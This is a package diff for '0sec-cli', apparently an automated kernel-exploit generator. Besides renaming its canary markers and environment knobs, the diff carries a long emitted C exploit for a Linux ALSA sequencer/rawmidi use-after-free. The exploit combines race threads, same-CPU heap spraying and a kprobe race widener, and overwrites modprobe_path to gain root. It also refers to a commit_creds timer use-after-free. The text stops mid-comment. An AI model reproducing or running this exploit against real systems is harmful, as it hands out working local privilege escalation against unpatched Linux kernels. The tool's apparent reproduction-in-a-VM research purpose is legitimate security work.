0sec-cli 0.17.0 → 0.21.4

package/chunks/{chunk-KTQDLNSR.js → chunk-YA4PUM4H.js}

@@ -1,16 +1,16 @@
 #!/usr/bin/env node
-import { createRequire as __0secCreateRequire } from "node:module";
-const require = __0secCreateRequire(import.meta.url);
-import {
-  runReproducerInKernelVm
-} from "./chunk-SNKTC4BP.js";
+import { createRequire as __0CreateRequire } from "node:module";
+const require = __0CreateRequire(import.meta.url);
 import {
   ESCALATION_LADDER,
   ladderUpTo,
   ratchet,
   rungAtLeast,
   rungRank
-} from "./chunk-RJWOYEOG.js";
+} from "./chunk-UEX7PFSE.js";
+import {
+  runReproducerInKernelVm
+} from "./chunk-5T6D5BVY.js";
 
 // packages/core/dist/kernel/exploit/harness.js
 import { existsSync } from "node:fs";
@@ -48,10 +48,10 @@ function reclaimAliasToken(canary) {
   return h.toString(16).padStart(16, "0");
 }
 function reclaimSprayLine(canary, token) {
-  return `0SEC-CANARY:${canary}:RECLAIM-SPRAY:${token}`;
+  return `ZERO-CANARY:${canary}:RECLAIM-SPRAY:${token}`;
 }
 function reclaimAliasLine(canary, observed) {
-  return `0SEC-CANARY:${canary}:RECLAIM-ALIAS:${observed}`;
+  return `ZERO-CANARY:${canary}:RECLAIM-ALIAS:${observed}`;
 }
 function reclaimAliasWitnessed(haystack, canary) {
   if (!canary)
@@ -60,7 +60,7 @@ function reclaimAliasWitnessed(haystack, canary) {
   return haystack.includes(reclaimSprayLine(canary, token)) && haystack.includes(reclaimAliasLine(canary, token));
 }
 function markerLine(rung, canary) {
-  return `0SEC-CANARY:${canary}:${RUNG_MARKER_TAG[rung]}`;
+  return `ZERO-CANARY:${canary}:${RUNG_MARKER_TAG[rung]}`;
 }
 function markerFired(haystack, rung, canary) {
   if (!canary)
@@ -93,7 +93,7 @@ function droppedBeforeRoot(haystack, canary) {
   const rootWitness = haystack.search(ROOT_UID_WITNESS);
   if (rootWitness < 0)
     return false;
-  const dropPrefix = `0SEC-CANARY:${canary}:DROP:`;
+  const dropPrefix = `ZERO-CANARY:${canary}:DROP:`;
   let from = 0;
   for (; ; ) {
     const idx = haystack.indexOf(dropPrefix, from);
@@ -469,7 +469,7 @@ function emitTimerUafTrigger(params) {
     "   free -> same-cache spray of a forged cred -> the kernel re-arms the timer",
     "   (mod_timer) on the reclaimed object, injecting ONLY .function=commit_creds;",
     "   the timer softirq fires commit_creds(&obj) in a busy-spinning unprivileged",
-    "   child -> root. Reference: 0sec hid-sony ghl_poke_timer UAF (9/9 root). */",
+    "   child -> root. Reference: 0 hid-sony ghl_poke_timer UAF (9/9 root). */",
     ...emitTimerUafFreeHook(),
     "",
     ...emitFakeCredHelpers(fcParams)
@@ -494,9 +494,9 @@ function emitKprobeWidener(faultingPc, widenOffset) {
     `   memcpy in ${sym} so the parked writer holds the freed object across the`,
     "   reclaim window far more often. TWO things are CONFIGURABLE at runtime so",
     "   the rig can dial in the coincidence rate WITHOUT re-emitting:",
-    "     0SEC_KERNEL_QEMU_WIDEN_OFFSET \u2014 the probe instruction offset,",
+    "     ZERO_KERNEL_QEMU_WIDEN_OFFSET \u2014 the probe instruction offset,",
     `       else the compile-time default ${defHex};`,
-    `     0SEC_RACE_PARK_US \u2014 the mdelay() park width (the manual proof parked`,
+    `     ZERO_RACE_PARK_US \u2014 the mdelay() park width (the manual proof parked`,
     `       the writer ~${DEFAULT_RACE_PARK_US}ms), else default ${DEFAULT_RACE_PARK_US}.`,
     "   If the target lacks kernel headers / module-build / insmod rights this is",
     "   skipped and the race runs narrower \u2014 NO marker is printed for the widener;",
@@ -509,17 +509,17 @@ function emitKprobeWidener(faultingPc, widenOffset) {
     "  /* Resolve the probe offset: env override wins, else the compiled default,",
     "     so the VM runner can correct a stale instruction boundary at run time. */",
     "  unsigned long woff = OSEC_WIDEN_OFFSET_DEFAULT;",
-    '  const char *wenv = getenv("0SEC_KERNEL_QEMU_WIDEN_OFFSET");',
+    '  const char *wenv = getenv("ZERO_KERNEL_QEMU_WIDEN_OFFSET");',
     "  if (wenv && wenv[0]) {",
     "    char *end = NULL;",
     "    unsigned long v = strtoul(wenv, &end, 0);",
     "    if (end && end != wenv) woff = v;",
     "  }",
-    "  /* Resolve the park width (mdelay arg): 0SEC_RACE_PARK_US wins, else the",
+    "  /* Resolve the park width (mdelay arg): ZERO_RACE_PARK_US wins, else the",
     "     compiled default. This is THE knob that holds the freed object during",
     "     the reclaim \u2014 wider park trades throughput for free-during-park rate. */",
     "  unsigned long park = OSEC_RACE_PARK_US_DEFAULT;",
-    '  const char *penv = getenv("0SEC_RACE_PARK_US");',
+    '  const char *penv = getenv("ZERO_RACE_PARK_US");',
     "  if (penv && penv[0]) {",
     "    char *pend = NULL;",
     "    unsigned long pv = strtoul(penv, &pend, 0);",
@@ -555,7 +555,7 @@ function emitAlsaSeqRawmidiTrigger(params) {
   const dst = params.writeProfile?.dstOffset;
   const len = params.writeProfile?.lenOffset;
   const out = [];
-  out.push("/* \u2500\u2500 Bug-specific trigger geometry: ALSA snd_seq / rawmidi UAF \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500", "   Single ALSA-seq subscription \u2192 subscriber count oscillates 0<->1, so", "   every OUTPUT-port unsubscribe FREES the snd_rawmidi_runtime (kmalloc-" + (slabNum(params.slabCache) ?? 192) + ") via", "   midisynth_unuse -> snd_rawmidi_kernel_release -> snd_rawmidi_runtime_free.", "   Racing an event flood (snd_seq_write -> event_process_midi ->", "   snd_rawmidi_kernel_write1) against the free drives the dangling memcpy" + (dst !== void 0 ? ` at runtime->buffer (obj +0x${dst.toString(16)})` : "") + (len !== void 0 ? ` for len obj +0x${len.toString(16)}` : "") + ". */", "", "#include <poll.h>", "#include <pthread.h>", "#include <signal.h>", "#include <sys/ioctl.h>", "", "/* Parse a 0SEC_RACE_* env knob as an int, falling back to a default. Lets", "   the rig sweep the continuous-thread race timings without re-emitting. */", "static int osec_race_envint(const char *name, int dflt) {", "  const char *v = getenv(name);", "  if (!v || !v[0]) return dflt;", "  char *end = NULL;", "  long n = strtol(v, &end, 0);", "  if (!end || end == v) return dflt;", "  return (int)n;", "}", "", "/* Forward declarations \u2014 osec_spray_thread() (below) calls osec_reclaim_spray(),", "   whose definition is emitted LATER in the translation unit (the reclaim helper", "   block). Without this prototype the emitted C fails to compile (use-before-def /", "   'static declaration follows non-static declaration'). osec_pin_cpu() is defined", "   in the marker preamble (above) so it needs none. */", "static void osec_reclaim_spray(void);", "", "/* ALSA sequencer uapi \u2014 REAL layouts from include/uapi/sound/asequencer.h.", "   The struct SIZES are load-bearing: _IOWR/_IOW/_IOR encode sizeof(struct)", "   into the ioctl number, so a wrong size yields a wrong ioctl => -ENOTTY and", "   the kernel never runs the handler (the live boot's 'reaches DROP but ZERO", "   KASAN' symptom). The struct sizes below are the REAL uapi sizes, audited", "   by compilation against include/uapi/sound/asequencer.h:", "     snd_seq_addr           == 2 bytes", "     snd_seq_port_info      == 168 bytes", "     snd_seq_port_subscribe == 80 bytes   (was wrongly 32 \u2014 see below)", "     snd_seq_client_info    == 188 bytes", "     snd_seq_event          == 32 bytes   (was wrongly 28 \u2014 16-byte data union)", "   so that the _IOC-encoded ioctl numbers come out byte-for-byte equal to the", "   kernel's:", "     SNDRV_SEQ_IOCTL_CLIENT_ID         == 0x80045301", "     SNDRV_SEQ_IOCTL_CREATE_PORT       == 0xc0a85320", "     SNDRV_SEQ_IOCTL_DELETE_PORT       == 0x40a85321", "     SNDRV_SEQ_IOCTL_SUBSCRIBE_PORT    == 0x40505330", "     SNDRV_SEQ_IOCTL_UNSUBSCRIBE_PORT  == 0x40505331", "     SNDRV_SEQ_IOCTL_QUERY_NEXT_CLIENT == 0xc0bc5351", "     SNDRV_SEQ_IOCTL_QUERY_NEXT_PORT   == 0xc0a85352", "   Two live in-guest probes drove these fixes: the old 92-byte port_info", "   yielded the wrong CREATE_PORT number => -ENOTTY before the UAF could run;", "   and the old 32-byte port_subscribe yielded SUBSCRIBE_PORT == 0x40205330", "   (kernel expects 0x40505330) => -ENOTTY on SUBSCRIBE, so the runtime was", "   never freed and NO UAF fired. Both real uapi sizes (168 / 80) are below. */", "struct snd_seq_addr { unsigned char client; unsigned char port; };", "struct snd_seq_port_info {            /* 168 bytes \u2014 real uapi layout */", "  struct snd_seq_addr addr;           /* 0:   client/port */", "  char name[64];                      /* 2 */", "  unsigned int capability;            /* 68:  SNDRV_SEQ_PORT_CAP_* bitmask */", "  unsigned int type;                  /* 72:  SNDRV_SEQ_PORT_TYPE_* bitmask */", "  int midi_channels;                  /* 76 */", "  int midi_voices;                    /* 80 */", "  int synth_voices;                   /* 84 */", "  int read_use;                       /* 88 */", "  int write_use;                      /* 92 */", "  void *kernel;                       /* 96:  8-byte aligned kernel ptr */", "  unsigned int flags;                 /* 104 */", "  unsigned char time_queue;           /* 108 */", "  unsigned char direction;            /* 109 */", "  unsigned char ump_group;            /* 110 */", "  char reserved[57];                  /* 111: pad to exactly 168 */", "};", "struct snd_seq_port_subscribe {       /* 80 bytes \u2014 real uapi layout */", "  struct snd_seq_addr sender;         /* 0:  source port */", "  struct snd_seq_addr dest;           /* 2:  destination port */", "  unsigned int voices;                /* 4 */", "  unsigned int flags;                 /* 8 */", "  unsigned char queue;                /* 12 */", "  unsigned char pad[3];               /* 13 */", "  unsigned char reserved[64];         /* 16: ends at exactly 80 */", "};", "/* snd_seq_client_info \u2014 only `client` is read; full 188B size keeps the", "   QUERY_NEXT_CLIENT ioctl number (0xc0bc5351) correct. */", "struct snd_seq_client_info {          /* 188 bytes */", "  int client;                         /* 0 */", "  int type;                           /* 4 */", "  char name[64];                      /* 8 */", "  unsigned int filter;                /* 72 */", "  unsigned char multicast_filter[8];  /* 76 */", "  unsigned char event_filter[32];     /* 84 */", "  int num_ports;                      /* 116 */", "  int event_lost;                     /* 120 */", "  int card;                           /* 124 */", "  int pid;                            /* 128 */", "  unsigned int midi_version;          /* 132 */", "  unsigned int group_filter;          /* 136 */", "  char reserved[48];                  /* 140: ends at 188 */", "};", "/* Compile-time static asserts: a wrong size silently re-breaks the ABI. */", "_Static_assert(sizeof(struct snd_seq_port_info) == 168,", '               "snd_seq_port_info must be 168 bytes for the correct ioctl nr");', "_Static_assert(sizeof(struct snd_seq_port_subscribe) == 80,", '               "snd_seq_port_subscribe must be 80 bytes for the correct ioctl nr");', "_Static_assert(sizeof(struct snd_seq_addr) == 2,", '               "snd_seq_addr must be 2 bytes");', "_Static_assert(sizeof(struct snd_seq_client_info) == 188,", '               "snd_seq_client_info must be 188 bytes for the correct ioctl nr");', "", "/* ioctl numbers \u2014 computed from the REAL struct sizes via the standard", "   macros, so they come out byte-for-byte equal to the kernel's. */", "#define SNDRV_SEQ_IOCTL_CLIENT_ID         _IOR ('S', 0x01, int)", "#define SNDRV_SEQ_IOCTL_CREATE_PORT       _IOWR('S', 0x20, struct snd_seq_port_info)", "#define SNDRV_SEQ_IOCTL_SUBSCRIBE_PORT    _IOW ('S', 0x30, struct snd_seq_port_subscribe)", "#define SNDRV_SEQ_IOCTL_UNSUBSCRIBE_PORT  _IOW ('S', 0x31, struct snd_seq_port_subscribe)", "#define SNDRV_SEQ_IOCTL_QUERY_NEXT_CLIENT _IOWR('S', 0x51, struct snd_seq_client_info)", "#define SNDRV_SEQ_IOCTL_QUERY_NEXT_PORT   _IOWR('S', 0x52, struct snd_seq_port_info)", "", "/* Port type/capability bits (asequencer.h). */", "#define SNDRV_SEQ_PORT_CAP_READ        (1<<0)   /* 0x01 */", "#define SNDRV_SEQ_PORT_CAP_WRITE       (1<<1)   /* 0x02 */", "#define SNDRV_SEQ_PORT_CAP_SUBS_READ   (1<<5)   /* 0x20: can be a subscribe src */", "#define SNDRV_SEQ_PORT_CAP_SUBS_WRITE  (1<<6)   /* 0x40: can be a subscribe dest */", "#define SNDRV_SEQ_PORT_TYPE_MIDI_GENERIC (1<<1) /* 0x02 */", "#define SNDRV_SEQ_PORT_TYPE_APPLICATION  (1<<20)/* 0x100000: an app's own port */", "#define SNDRV_SEQ_PORT_TYPE_HARDWARE   (1<<16)  /* 0x10000: real card port */", "", "/* snd_seq_event \u2014 the REAL 32-byte wire layout from asequencer.h. The flood", "   thread writes these to /dev/snd/seq so the kernel routes them through", "   snd_seq_write -> snd_seq_deliver_event -> event_process_midi -> dump_midi ->", "   snd_rawmidi_kernel_write1 (the dangling write site). The variable-length", "   protocol: when ev.flags has LENGTH_VARIABLE, snd_seq_write reads the 32-byte", "   event header off the fd, then reads ev.data.ext.len payload bytes INLINE", "   immediately AFTER the event (userspace write ignores ext.ptr) \u2014 that payload", "   is what dump_midi feeds VERBATIM into runtime->buffer. Getting sizeof()==32", "   is load-bearing twice over: snd_seq_write reads events in", "   sizeof(struct snd_seq_event) strides, AND a wrong size shifts where the inline", "   payload begins, so a 28-byte struct desyncs the stream and the SYSEX event is", "   never parsed (the live-boot 'reaches write1 0 times' symptom). The data union", "   is 16 bytes because its largest member, snd_seq_ev_ext { u32 len; void *ptr; },", "   is 16 bytes on x86-64 under NATURAL alignment: len(4) + 4 pad + 8-aligned", "   ptr(8). It must NOT be packed \u2014 packing it to 12 would shrink the event to 28", "   and re-break the ABI. */", "struct snd_seq_ev_ext { unsigned int len; void *ptr; }; /* 16 bytes: len(4)+pad(4)+ptr(8), NATURAL alignment (not packed) */", "union snd_seq_event_data {            /* 16-byte data union (largest = ext) */", "  unsigned char raw8[16];", "  unsigned int raw32[4];", "  struct snd_seq_ev_ext ext;          /* variable-length: len + ptr (16 bytes) */", "};", "struct snd_seq_event {                /* 32 bytes \u2014 real uapi layout */", "  unsigned char type;                 /* 0:  SNDRV_SEQ_EVENT_* */", "  unsigned char flags;                /* 1:  LENGTH_* | etc. */", "  unsigned char tag;                  /* 2 */", "  unsigned char queue;                /* 3:  SNDRV_SEQ_QUEUE_DIRECT etc. */", "  unsigned int  time;                 /* 4:  union snd_seq_timestamp tick/real (8) */", "  unsigned int  time_hi;              /* 8:  second word of the time union */", "  struct snd_seq_addr source;         /* 12: 2 bytes */", "  struct snd_seq_addr dest;           /* 14: 2 bytes */", "  union snd_seq_event_data data;      /* 16: 16-byte data union -> ends at 32 */", "};", "_Static_assert(sizeof(struct snd_seq_event) == 32,", '               "snd_seq_event must be 32 bytes for snd_seq_write event striding");', "", "/* Event types + flags + addressing (asequencer.h). SYSEX is the verbatim-copy", "   path; SUBSCRIBERS+DIRECT route the event to our port's subscribers (the", "   subscribed hardware port) so it reaches snd_rawmidi_kernel_write1. */", "#define SNDRV_SEQ_EVENT_SYSEX            130    /* variable-length system-exclusive */", "#define SNDRV_SEQ_EVENT_LENGTH_VARIABLE  (1<<2) /* data is ext.len bytes, inline */", "#define SNDRV_SEQ_PRIORITY_NORMAL        (0<<4) /* manual proof ORs this into flags */", "#define SNDRV_SEQ_ADDRESS_SUBSCRIBERS    254    /* dest.client: deliver to subscribers */", "#define SNDRV_SEQ_QUEUE_DIRECT           253    /* ev.queue: bypass queue, deliver now */", "", "/* Shared race state across the CONTINUOUS flood / toggle / spray threads.", "   The manual proof (measured ~0.45% free-during-park x ~1% reclaim-win =>", "   ~1.6% end-to-end, ~1-in-6..8 boots) wins the coincidence ONLY because all", "   three roles run as tight while(running) loops simultaneously \u2014 NOT a bursty", "   512-iteration flood + one toggle per round. So: continuous SYSEX-flood", "   thread(s) keep snd_rawmidi_kernel_write1 hot (and parked by the kprobe", "   mdelay); a continuous subscribe(1)/unsubscribe(0) toggle thread re-arms the", "   free every iteration; and continuous msgsnd-2ndseg spray thread(s) pinned to", "   the SAME CPU as the free pop the just-freed kmalloc-192 slot off that CPU's", "   freelist before the parked writer derefs it. There is NO per-round arming", "   handshake anymore \u2014 the loops run free and the coincidence lands", "   probabilistically, exactly as the manual proof does. */", "static int g_seq_fd = -1;", "static int g_toggle_fd = -1; /* BUG#2 FIX: dedicated fd for subscribe/unsubscribe (manual proof uses a 2nd open) */", "static int g_rawmidi_fd = -1;", "static struct snd_seq_addr g_self;", "static struct snd_seq_addr g_hw;     /* discovered hardware MIDI synth port */", "static int g_have_hw = 0;            /* set iff osec_seq_find_hw_port() won */", "static volatile int g_race_run = 0;  /* 1 while the threads loop; 0 to stop  */", "/* g_n_write_ok / g_n_spray are declared in the marker preamble (always present)", "   so the spray helper can increment them on every path. n_write_ok counts SYSEX", "   events that actually reached the kernel write path \u2014 the load-bearing", "   diagnostic: 0 means the flood never drove event_process_midi -> dump_midi ->", "   snd_rawmidi_kernel_write1, so the freed runtime was never written through (no", "   KASAN UAF, no arb-write) regardless of everything downstream. */", "/* CPU topology. Manual default: the free + reclaim spray share one CPU (so", "   the freed slot is reclaimed from that CPU's per-CPU freelist); the flood", "   runs on another CPU. 0SEC_RACE_SAME_CPU=1 collapses everything onto the", "   free CPU. g_cpu_free is declared in the preamble (osec_reclaim_spray()", "   pins to it too, so free + spray stay genuinely co-resident); the driver", "   sets both from the resolved topology before spawning. g_cpu_flood is", "   ALSA-specific (the flood thread is). */", `int g_cpu_flood = ${(params.pinCpu ?? 0) + 1};                 /* flood/USE CPU (different by default)   */`, "", "/* Discover the HARDWARE MIDI synth port to subscribe to. Self-subscription", "   frees nothing; the real free path needs a subscription onto the card's", "   synth port so unsubscribe drives midisynth_unuse -> snd_rawmidi_kernel_release", "   -> snd_rawmidi_runtime_free. Walk every client (>1, skip System=0/1) and", "   every port, taking the first that is STRICTLY a hardware-card port. The", "   filter MUST be strict: a live in-guest probe showed the loose '(HARDWARE ||", "   MIDI_GENERIC)' test matched the software 'Midi Through' loopback (14:0,", "   type=0xa0002, no HARDWARE bit) BEFORE the real MTPAV card (16:0,", "   type=0x90002, HARDWARE bit set) \u2014 and the loopback port has NO backing", "   snd_rawmidi_runtime, so its teardown frees nothing and no UAF fires. Require", "   the strict SNDRV_SEQ_PORT_TYPE_HARDWARE bit AND both CAP_WRITE and", "   CAP_SUBS_WRITE (mirroring the manual proof) so we target the real card whose", "   port has a runtime. Returns 0 on success, sets g_hw/g_have_hw. */", "static int osec_seq_find_hw_port(void) {", "  struct snd_seq_client_info ci; memset(&ci, 0, sizeof(ci));", "  ci.client = -1; /* QUERY_NEXT_CLIENT returns the first client > ci.client */", "  while (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_QUERY_NEXT_CLIENT, &ci) >= 0) {", "    if (ci.client <= 1) continue; /* skip System (0) and the timer (1) */", "    struct snd_seq_port_info pi; memset(&pi, 0, sizeof(pi));", "    pi.addr.client = (unsigned char)ci.client;", "    pi.addr.port = (unsigned char)-1; /* first port > -1 on this client */", "    while (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_QUERY_NEXT_PORT, &pi) >= 0) {", "      /* STRICT: the real hardware-card synth bit only \u2014 NOT MIDI_GENERIC,", "         which the software loopback also sets (and which has no runtime). */", "      int is_hw = (pi.type & SNDRV_SEQ_PORT_TYPE_HARDWARE) != 0;", "      /* Mirror the manual proof: the port must accept a write subscription", "         (CAP_SUBS_WRITE) AND be writable (CAP_WRITE). */", "      int writable = (pi.capability & SNDRV_SEQ_PORT_CAP_WRITE) &&", "                     (pi.capability & SNDRV_SEQ_PORT_CAP_SUBS_WRITE);", "      if (is_hw && writable) {", "        g_hw = pi.addr; g_have_hw = 1;", "        return 0;", "      }", "    }", "  }", "  return -1; /* HONEST GAP: no hardware synth port found on this guest */", "}", "", "/* Build the topology whose teardown frees the runtime: our own port plus a", "   discovered hardware synth port to subscribe TO. */", "static int osec_seq_setup(void) {", '  g_seq_fd = open("/dev/snd/seq", O_RDWR);', "  if (g_seq_fd < 0) return -1;", "  /* Query our OWN client id. snd_seq_ioctl_create_port rejects (EPERM) any", "     port whose addr.client != the calling client, so this MUST be set on pi", "     before CREATE_PORT \u2014 an in-guest A/B test proved the unset (0) addr.client", "     was the EPERM cause; setting it to cid makes CREATE_PORT return rc=0. */", "  int cid = 0;", "  if (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_CLIENT_ID, &cid) < 0) return -1;", "  struct snd_seq_port_info pi; memset(&pi, 0, sizeof(pi));", "  pi.addr.client = (unsigned char)cid;        /* THE EPERM FIX: was unset (0) */", "  pi.capability  = SNDRV_SEQ_PORT_CAP_READ  | SNDRV_SEQ_PORT_CAP_SUBS_READ", "                 | SNDRV_SEQ_PORT_CAP_WRITE | SNDRV_SEQ_PORT_CAP_SUBS_WRITE;", "  pi.type        = SNDRV_SEQ_PORT_TYPE_MIDI_GENERIC | SNDRV_SEQ_PORT_TYPE_APPLICATION;", "  pi.midi_channels = 16;", "  if (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_CREATE_PORT, &pi) < 0) return -1;", "  g_self.client = (unsigned char)cid; g_self.port = pi.addr.port;", "  /* Find the card's hardware MIDI synth port \u2014 the subscription onto THIS", "     port (not self) is what frees the snd_rawmidi_runtime on teardown. */", "  if (osec_seq_find_hw_port() != 0) return -1;", "  /* BUG#2 FIX: dedicated toggle fd (separate from the flood writer fd) so the", "     unsubscribe actually drives midisynth_unuse -> snd_rawmidi_runtime_free.", "     The manual proof opens a 2nd /dev/snd/seq for the toggle for exactly this:", "     running subscribe/unsubscribe on the SAME fd as the SYSEX flood writer did", "     not free the runtime the flood writes through (freed=0, no KASAN UAF). */", '  g_toggle_fd = open("/dev/snd/seq", O_RDWR);', "  if (g_toggle_fd < 0) return -1;", "  /* DO NOT open /dev/snd/midiC0D0 here. An in-guest A/B/C/D probe proved that", "     holding the rawmidi OUTPUT substream open makes the seq SUBSCRIBE return", "     EAGAIN (snd_rawmidi_kernel_open sees the substream already in use), so the", "     subscription never opens the runtime => no alloc/free => no UAF. The manual", "     proof never opens midiC0D0: the SUBSCRIBE itself opens the rawmidi", "     internally (that IS the alloc the UAF rides), and the USE is driven by", "     writing seq SYSEX events through g_seq_fd (event_process_midi ->", "     snd_rawmidi_kernel_write1). g_rawmidi_fd stays -1 here. */", "  return 0;", "}", "", "/* SUBSCRIBE then UNSUBSCRIBE on my_port -> discovered_hw_port: the unsubscribe", "   drops the hw synth's subscriber count to 0 and frees the snd_rawmidi_runtime.", "   sender (us) != dest (the hardware port) \u2014 self-subscription frees nothing.", "   Looped to re-arm the race each round. */", "static int osec_seq_sub(int subscribe) {", "  struct snd_seq_port_subscribe s; memset(&s, 0, sizeof(s));", "  s.sender = g_self; s.dest = g_hw;", "  /* BUG#2 FIX: toggle on g_toggle_fd (a dedicated 2nd /dev/snd/seq), NOT the", "     g_seq_fd the flood writes through \u2014 only then does the unsubscribe free the", "     runtime the flood uses (restores the KASAN slab-UAF, freed 0 -> >=1). */", "  return ioctl(g_toggle_fd, subscribe ? SNDRV_SEQ_IOCTL_SUBSCRIBE_PORT", "                                   : SNDRV_SEQ_IOCTL_UNSUBSCRIBE_PORT, &s);", "}", "", "/* CONTINUOUS TOGGLE/FREE thread: a tight while(running) loop doing", "   subscribe(1)/unsubscribe(0) on the hw port. Single subscription => the", "   count oscillates 0<->1 and EVERY unsubscribe frees the snd_rawmidi_runtime.", "   This runs CONTINUOUSLY, re-arming the free each iteration (NOT one toggle", "   per round) \u2014 that is what gives the parked writer a freshly-freed object to", "   land on at the manual-proof rate. Pinned to g_cpu_free so the freed slot", "   goes onto the SAME per-CPU freelist the reclaim spray pops from. */", "static void *osec_toggle_thread(void *arg) {", "  osec_pin_cpu(g_cpu_free);", "  while (g_race_run) {", "    osec_seq_sub(1);          /* subscriber 0->1 (allocates runtime)   */", "    osec_seq_sub(0);          /* subscriber 1->0 => FREE the runtime    */", "  }", "  return NULL;", "}", "", "/* CONTINUOUS RECLAIM spray thread: pinned to g_cpu_free (the SAME CPU as the", "   toggle/free) so the freed kmalloc-192 slot is reclaimed off that CPU's", "   freelist before the parked writer derefs it. osec_reclaim_spray() places", "   the controlled bytes (buffer@0x10 = inlined modprobe_path, len, scratch) and", "   re-pins to g_cpu_free itself; we run it in a tight loop. The manual proof", "   used ~10 of these threads; 0SEC_RACE_SPRAY_THREADS sets the count. */", "static void *osec_spray_thread(void *arg) {", "  osec_pin_cpu(g_cpu_free);", "  while (g_race_run) {", "    osec_reclaim_spray();     /* same-CPU reclaim of the just-freed slot */", "  }", "  return NULL;", "}", "", "/* WRITE/flood thread: write SEQ SYSEX events through g_seq_fd, addressed from", "   our own port (g_self) to the SUBSCRIBERS of our port (the subscribed hardware", "   synth) via DIRECT delivery. The kernel routes them snd_seq_write ->", "   snd_seq_deliver_event -> event_process_midi -> dump_midi ->", "   snd_rawmidi_kernel_write1, so a write lands on the just-freed (or just-", "   reclaimed) runtime. SYSEX + LENGTH_VARIABLE is the verbatim-copy path: the", "   payload bytes (F0 .. F7) are copied straight into runtime->buffer.", "", "   INLINE PAYLOAD CONTRACT (this is what makes the flood reach write1): for a", "   variable-length event written from userspace, snd_seq_write IGNORES", "   ev.data.ext.ptr and instead reads ev.data.ext.len payload bytes from the fd", "   IMMEDIATELY AFTER the 32-byte event. So we build one contiguous buffer", "   [32-byte snd_seq_event][SYSEX payload] and write it in a single call:", "   write(g_seq_fd, buf, sizeof(struct snd_seq_event) + payload_len). The old", "   approach (ext.ptr = payload + write(&ev, sizeof(ev))) never delivered the", "   payload \u2014 userspace write doesn't dereference ext.ptr \u2014 so write1 was hit 0", "   times. dest.client = SUBSCRIBERS(254) + dest.port = g_self.port delivers to", "   the subscribers of OUR port (i.e. the hw synth we subscribed), and queue =", "   DIRECT(253) bypasses queueing so the event is dispatched inline now.", "", "   We DO NOT write to a rawmidi fd directly \u2014 driving the USE through the SEQ", "   event path is exactly what the manual proof does, and it leaves the rawmidi", "   output substream free for the SUBSCRIBE to open (no EAGAIN). */", "/* TWO distinct flood payloads, mirroring the manual proof (seqmidi_uaf5/6.c).", "   The flood thread uses EXACTLY ONE of them per boot depending on whether an", "   escalation target was staged (see osec_flood_thread for the why):", "", "   (1) ESCALATION payload \u2014 the short root-tail path string (e.g. /tmp/x\\0),", "       staged by the driver from the root-tail plan. THIS is the write-what-", "       where that overwrites modprobe_path; it is delivered VERBATIM (no F0/F7", "       wrapper) so the exact path bytes land at the target. When staged", "       (g_esc_len > 0) the flood sends ONLY this every iteration \u2014 the manual", "       root proof's pure-ESC behaviour (g_escalate=1, ESC_LEN=7). Bench-measured:", "       a 7-byte ESC flood trips KASAN ~62x/boot AND, being tiny, keeps the writer", "       out of the fatal __dump_midi NULL-runtime window ~15x longer than the old", "       2048B-recon-dominant flood (~4 UAFs before GPF). So the short payload", "       lands the UAF JUST FINE and survives \u2014 the large recon flood was both", "       unnecessary and the cause of the ~2.5s GPF.", "", "   (2) RECON payload \u2014 a LARGE SYSEX (the manual proof's SYSEX_LEN=2048 class).", "       Used ONLY as a fallback when NO escalation target is staged (recon-only /", "       no-vmlinux case), so the UAF still fires for diagnostics even with no", "       write-what-where to deliver.", "", "   0SEC_RECON_SYSEX_LEN sizes the recon payload (default 2048, manual class).", "   g_buf is sized to the recon payload (the larger of the two), so the short", "   escalation memcpy can NEVER overflow it (fixes the -Wstringop-overflow the", "   climb hit: 'memcpy writing 7 bytes into a region of size 0'). */", "#define OSEC_RECON_SYSEX_LEN_DEFAULT 2048", "static unsigned char g_recon_payload[OSEC_RECON_SYSEX_LEN_DEFAULT];", "static unsigned long g_recon_len = 0;", "static unsigned char g_esc_payload[256]; /* short root-tail path bytes, verbatim */", "static unsigned long g_esc_len = 0;      /* 0 until the driver stages the tail   */", "/* CONTINUOUS FLOOD thread: a tight while(running) loop that CONTINUOUSLY", "   writes the SYSEX seq events driving snd_rawmidi_kernel_write1.", "", "   FLOOD-SURVIVAL FIX (bench-measured, 2026-06-26). The free->use window where", "   __dump_midi reads substream->runtime is fatal in two sub-windows: the", "   dangling-but-non-NULL window (a RECOVERABLE KASAN use-after-free read, which", "   kasan_multi_shot tolerates) and the post-free NULL window (a HARD", "   __dump_midi+0x57 GPF: `mov 0x70(%rbp),%rbx; lea 0x38(%rbx)` with rbx==NULL", "   faults on the non-canonical KASAN shadow and KILLS the exploit process). A", "   single boot cannot avoid the NULL window entirely; SURVIVAL is a function of", "   how MANY recoverable UAF reads the flood lands before it drifts into the", "   fatal one. The manual proof (seqmidi_uaf6 flood_sysex) sustains ~62 UAFs", "   over ~12s before the GPF; the OLD engine body \u2014 which flooded the LARGE 2048B", "   recon SYSEX on 7 of every 8 writes \u2014 drifted into the NULL window after only", "   ~4 UAFs / ~2.5s, because each 2080B write spends far longer in the kernel", "   write path (so the writer is exposed to the NULL window far more per write,", "   AND does a 2048B verbatim memcpy into the freed/reclaimed runtime->buffer", "   that itself amplifies fatal landings). The manual's escalation-mode flood is", "   PURE SHORT payload (ESC_LEN==7) and still trips KASAN ~62x \u2014 the large recon", "   flood is NEITHER needed to fire the UAF NOR survivable.", "", "   So: when an escalation payload is staged (g_esc_len > 0) flood ONLY the short", "   ESC payload every iteration (the modprobe_path write-what-where, exactly the", "   manual root proof's g_escalate=1 behaviour) \u2014 small writes => high iteration", "   rate => many recoverable UAF reads before the fatal window, AND every write", "   is the escalation write so a won reclaim lands /tmp/x. Only when NO esc", "   payload is staged (recon-only / no-target case) fall back to the large recon", "   SYSEX so the UAF still fires for diagnostics. The kprobe mdelay (when the", "   target has it) still parks the writer in the dangling window. Pinned to", "   g_cpu_flood (a different CPU from free+spray under the manual topology; same", "   CPU if 0SEC_RACE_SAME_CPU=1). */", "static void *osec_flood_thread(void *arg) {", "  osec_pin_cpu(g_cpu_flood);", "  /* One contiguous buffer: the 32-byte event header followed by the inline", "     SYSEX payload the write site copies verbatim into runtime->buffer. Sized to", "     the recon payload (the larger of recon/esc) so neither memcpy overflows. */", "  unsigned char buf[sizeof(struct snd_seq_event) + sizeof(g_recon_payload)];", "  struct snd_seq_event *ev = (struct snd_seq_event *)buf;", "  /* The event header is 